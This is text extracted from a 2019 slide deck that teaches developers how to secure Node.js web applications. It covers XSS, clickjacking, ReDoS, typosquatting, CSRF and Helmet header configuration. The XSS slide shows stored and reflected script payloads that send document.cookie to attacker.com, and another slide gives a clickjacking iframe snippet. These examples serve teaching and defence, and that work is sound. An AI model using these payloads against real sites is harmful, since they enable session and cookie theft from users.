Call for Papers - Educational Administration: Theory and Practice, E-ISSN: 21...
A Practical Guide to Securing Modern Web Applications
1. A Practical Guide to Securing
Modern Web Applications
September, 2019
@manishekhawat
Manish.Shekhawat@publicissapient.com
2. Why security is Important?
Security is not just a NFR of an Application. If
breached, it could cost sensitive data leaks, money,
jobs, brand reputation and many times the whole
Business.
3
4. Include Security considerations as part of System
Architecture Design. Avoid security specific flaws in
Architecture as the impact of vulnerability in
architecture and cost of fixing them is high.
5
10. Sample Modern Universal JS Application Architecture
11* Delete This Page Before Circulation
Message Broker
API Gateway
App
Server
11. Types of Flaws in System leading
to Security Breach
1. Architectural/Implementation
Design Flaws
2. Engineering Ignorance
12
Unauthenticate
d APIs and
Incorrect
Authorization
Poorly handled
exception
scenarios
HTTP Verbs not
followed as per
requirements
Custom
Encryption
Algorithm
Storing sensitive
data in browsers
SPOF
Validation
Issues
Logging
Sensitive Data
Unaware of
tools &
methods related
to Security
Not considering
Security while
development
Unaware of
Attacks &
Vectors
Ignoring
Security Audit
Reports
13. Few Common Vulnerabilities and
Attacks
14
XSS
Click-
Jacking
ReDoS
Typo-
squatting
CSRF
Solution:
1. Sanitize and validate form and querystring
Inputs
2. Frame Busting by setting top.location or X-
Frame-Options
3. Keep Regex less greedy by limiting the
number of characters or optimized Regex
4. Verify and Avoid usage of these package
altogether.
5. Token Header/Cookie for Authorization over
Authentication
14. XSS – Cross Site Scripting
1. Stored XSS
Input taken from User through Form Input
and saved in any type of Database.
2. Reflected XSS
A reflected XSS vulnerability happens
the user input from a URL or POST data is
reflected on the page without being
stored.
15
//Stored XSS
User name :
Manish<script>document.locatio
n='https://attacker.com/?cooki
e='+ document.cookie</script>
//Reflected XSS
https://example.com/news?q=<sc
ript>document.location='https:
//attacker.com/log.php?c=' +
document.cookie</script>
Solution:
Sanitize and validate form and
querystring Inputs
15. Click-Jacking
A malicious technique of tricking a
user into clicking on something
different from what the user perceives
16
<style>
iframe {
position: absolute;
top:0; left:-20px;
opacity: 0;
z-index: 1;
}
</style>
<div>Click to get rich now:</div>
<iframe
src="/clickjacking/facebooklike.h
tml"></iframe>
<button>Click here!</button>
Solution:
Frame Busting by setting top.location or
X-Frame-Options
16. Regular expression Denial of
Service
ReDoS exploits the fact that most
Regular Expression implementations
may reach extreme situations that
cause them to work very slowly.
17
console.time('mark');
/A(B|C+)+D/.test('ACCCCCC
CCCCCCCCCP');
console.timeEnd('mark');
Solution:
Keep Regex less greedy by limiting the
number of characters or optimized
Regex
17. Typo-squatting
Malicious similar named packages
These packages carry similar names
an original package, offer all the
functionality of their original, but also
include a code snippet that sends all
your environment variables to a
remote server controlled by malicious
operators when your code is running.
18
crossenv - v6.1.1 - Run
scripts that set and use
environment variables across
platforms
cross-env - v5.0.1
Solution:
Verify and Avoid usage of these
package altogether.
18. Other Security Attacks
1. XSS through CSS
2. Directory Traversal Attack via Web
App Code
3. SQL Injection
4. Information Leak through Logs
19
Solution:
1. Apply CSP – Content Security
Policy, Input Validation
2. Keep Web Server version Updated.
Filter User & Endpoint Inputs
3. Prepared Statements and
Sanitize/Escape Inputs
4. Save yourself by not saving
sensitive information in logs
22. helmetjs.github.io – Helmet for your
Headers
Helmet makes securing HTTP headers
easy for developers. Helmet is a
collection of 13 Node modules that
interface with Express. Each module
provides configuration options for
securing different HTTP headers.
23
const express = require('express')
const helmet = require('helmet')
const app = express()
app.use(helmet())
23. Content-Security-Policy
Header which can help protect against
malicious injection of JavaScript, CSS,
plugins, and more.
You don’t want anyone putting
anything on your webpages that you
don’t expect. Whitelist things that are
allowed to be on your page
24
const csp = require('helmet-csp')
app.use(csp({
directives: {
defaultSrc: ["'self'"],
styleSrc: ["'self’”,
‘cdn.bootstrap.com’]
}
}))
24. X-Permitted-Cross-Domain-Policies
Helmet’s crossdomain middleware prevents
Adobe Flash and Adobe Acrobat from loading
content on your site.
The X-Permitted-Cross-Domain-Policies header
tells clients like Flash and Acrobat what cross-
domain policies they can use. If you don’t want
them to load data from your domain, set the
header’s value to none
25
const permittedCrossDomainPolicies =
require('helmet-crossdomain')
app.use(permittedCrossDomainPolicies())
25. X-DNS-Prefetch-Control
This middleware lets you disable
browsers’ DNS prefetching by setting
the X-DNS-Prefetch-Control header.
Browsers can start these DNS
requests before the user even clicks a
link or loads a resource from
somewhere. This improves
performance when the user clicks the
link, but has privacy implications for
users. It can appear as if a user is
visiting things they aren’t visiting. 26
const helmet = require('helmet')
// Sets "X-DNS-Prefetch-Control:
off".
app.use(helmet.dnsPrefetchControl
())
26. Expect-CT
The Expect-CT HTTP header tells browsers to
expect Certificate Transparency.
Certificate Transparency makes it possible to
detect SSL certificates that have been
mistakenly issued by a certificate authority or
maliciously acquired from an otherwise
unimpeachable certificate authority.
These flaws can facilitate a wide range of security
attacks, such as website spoofing, server
impersonation, and man-in-the-middle attacks.
27
const expectCt = require('expect-ct')
app.use(expectCt({
enforce: true,
maxAge: 30,
reportUri: 'http://example.com/report'
}))
27. Feature-Policy
Helmet’s featurePolicy middleware
lets you restrict which browser
features can be used. For example,
you can disable fullscreen or vibration
APIs.
28
const helmet = require('helmet')
app.use(helmet.featurePolicy({
features: {
fullscreen: ["'self'"],
vibrate: ["'none'"],
payment:
['example.com’],
syncXhr: ["'none’”]
}
}))
28. X-Frame-Options
This middleware Frameguard
mitigates clickjacking attacks by
setting the X-Frame-Options header.
When browsers load iframes, they’ll
check the value of the X-Frame-
Options header and abort loading if it’s
not allowed.
29
// Don't allow me to be in ANY frames.
app.use(frameguard({ action: 'deny' }))
// Only let me be framed by people of the
same origin.
app.use(frameguard({ action: 'sameorigin'
}))
// Allow from a specific host.
app.use(frameguard({
action: 'allow-from’,
domain: 'http://publicissapient.com'
}))
29. Strict-Transport-Security
The Strict-Transport-Security HTTP
header tells browsers to stick with
HTTPS and never visit the insecure
HTTP version.
Note that the header won’t tell users
on HTTP to switch to HTTPS, it will
just tell HTTPS users to stick around.
30
const helmet = require('helmet')
// Sets "Strict-Transport-Security:
max-age=5184000;
includeSubDomains".
const sixtyDaysInSeconds =
5184000
app.use(helmet.hsts({
maxAge: sixtyDaysInSeconds
}))
30. X-Content-Type-Options
A user could upload an image with
the .jpg file extension but its contents
are actually HTML. Visiting that image
could cause the browser to “run” the
HTML page, which could contain
malicious JavaScript!
The X-Content-Type-Options header
tells browsers not to sniff MIME
types. When this header is set
to nosniff, browsers won’t sniff the
MIME type—they will trust what the
server says and block the resource if
it’s wrong.
31
const helmet = require('helmet')
// Sets "X-Content-Type-Options:
nosniff".
app.use(helmet.noSniff())
31. Referrer-Policy
The Referer HTTP Header is typically
set by web browsers to tell a server
where it’s coming from.
This can have privacy implications—
websites can see where users are
coming from.
The new Referrer-Policy HTTP
header lets authors control how
browsers set the Referer header.
32
const helmet = require('helmet')
// Sets "Referrer-Policy: same-
origin".
app.use(helmet.referrerPolicy({
policy: 'same-origin' }))
// Sets "Referrer-Policy: no-
referrer".
app.use(helmet.referrerPolicy({
policy: 'no-referrer' }))
32. X-XSS-Protection
This tells browsers to detect and
block reflected XSS.
33
const helmet = require('helmet')
// Sets "X-XSS-Protection: 1;
mode=block".
app.use(helmet.xssFilter())
34. CSRF – Cross Site Request Forgery
Attack
Cross-site request forgery, also
known as one-click
attack or session riding and
abbreviated as CSRF is a type of
malicious exploit of a website where
unauthorized commands are
transmitted from a user that the web
application trusts.
Unlike cross-site scripting (XSS),
which exploits the trust a user has for
a particular site, CSRF exploits the
trust that a site has in a user's
browser.
35
2. Attacker :
Embeds the
request into a
hyperlink and
sends it to
visitor who is
logged in
3. Visitor :
Clicks the link,
unknowingly
sending the
request to the
website
4. Website :
Validates the
request and
transfer funds
from visitor's
account to
attacker’s
account
1. Attacker :
Forges a
request for fund
transfer to a
website
35. CSURF - Node.js CSRF protection
middleware
Create a middleware for CSRF token
creation and validation. This token is
validated against the visitor's session
or csrf cookie.
Token Header/Cookie for
Authorization over Authentication.
36
<form action="/process" method="POST">
<input type="hidden" name="_csrf"
value="{{csrfToken}}">
<input type="text” name="movieName">
<button type="submit">Save</button>
</form>
////////////////////////////////////////
var csrf = require('csurf’)
var csrfProtection = csrf({ cookie: true
})
app.get('/form', csrfProtection, function
(req, res) {
// pass the csrfToken to the view
res.render('send', { csrfToken:
req.csrfToken() })
})
app.post('/process’, parseForm,
csrfProtection, function (req, res) {
res.send('data processing’)
})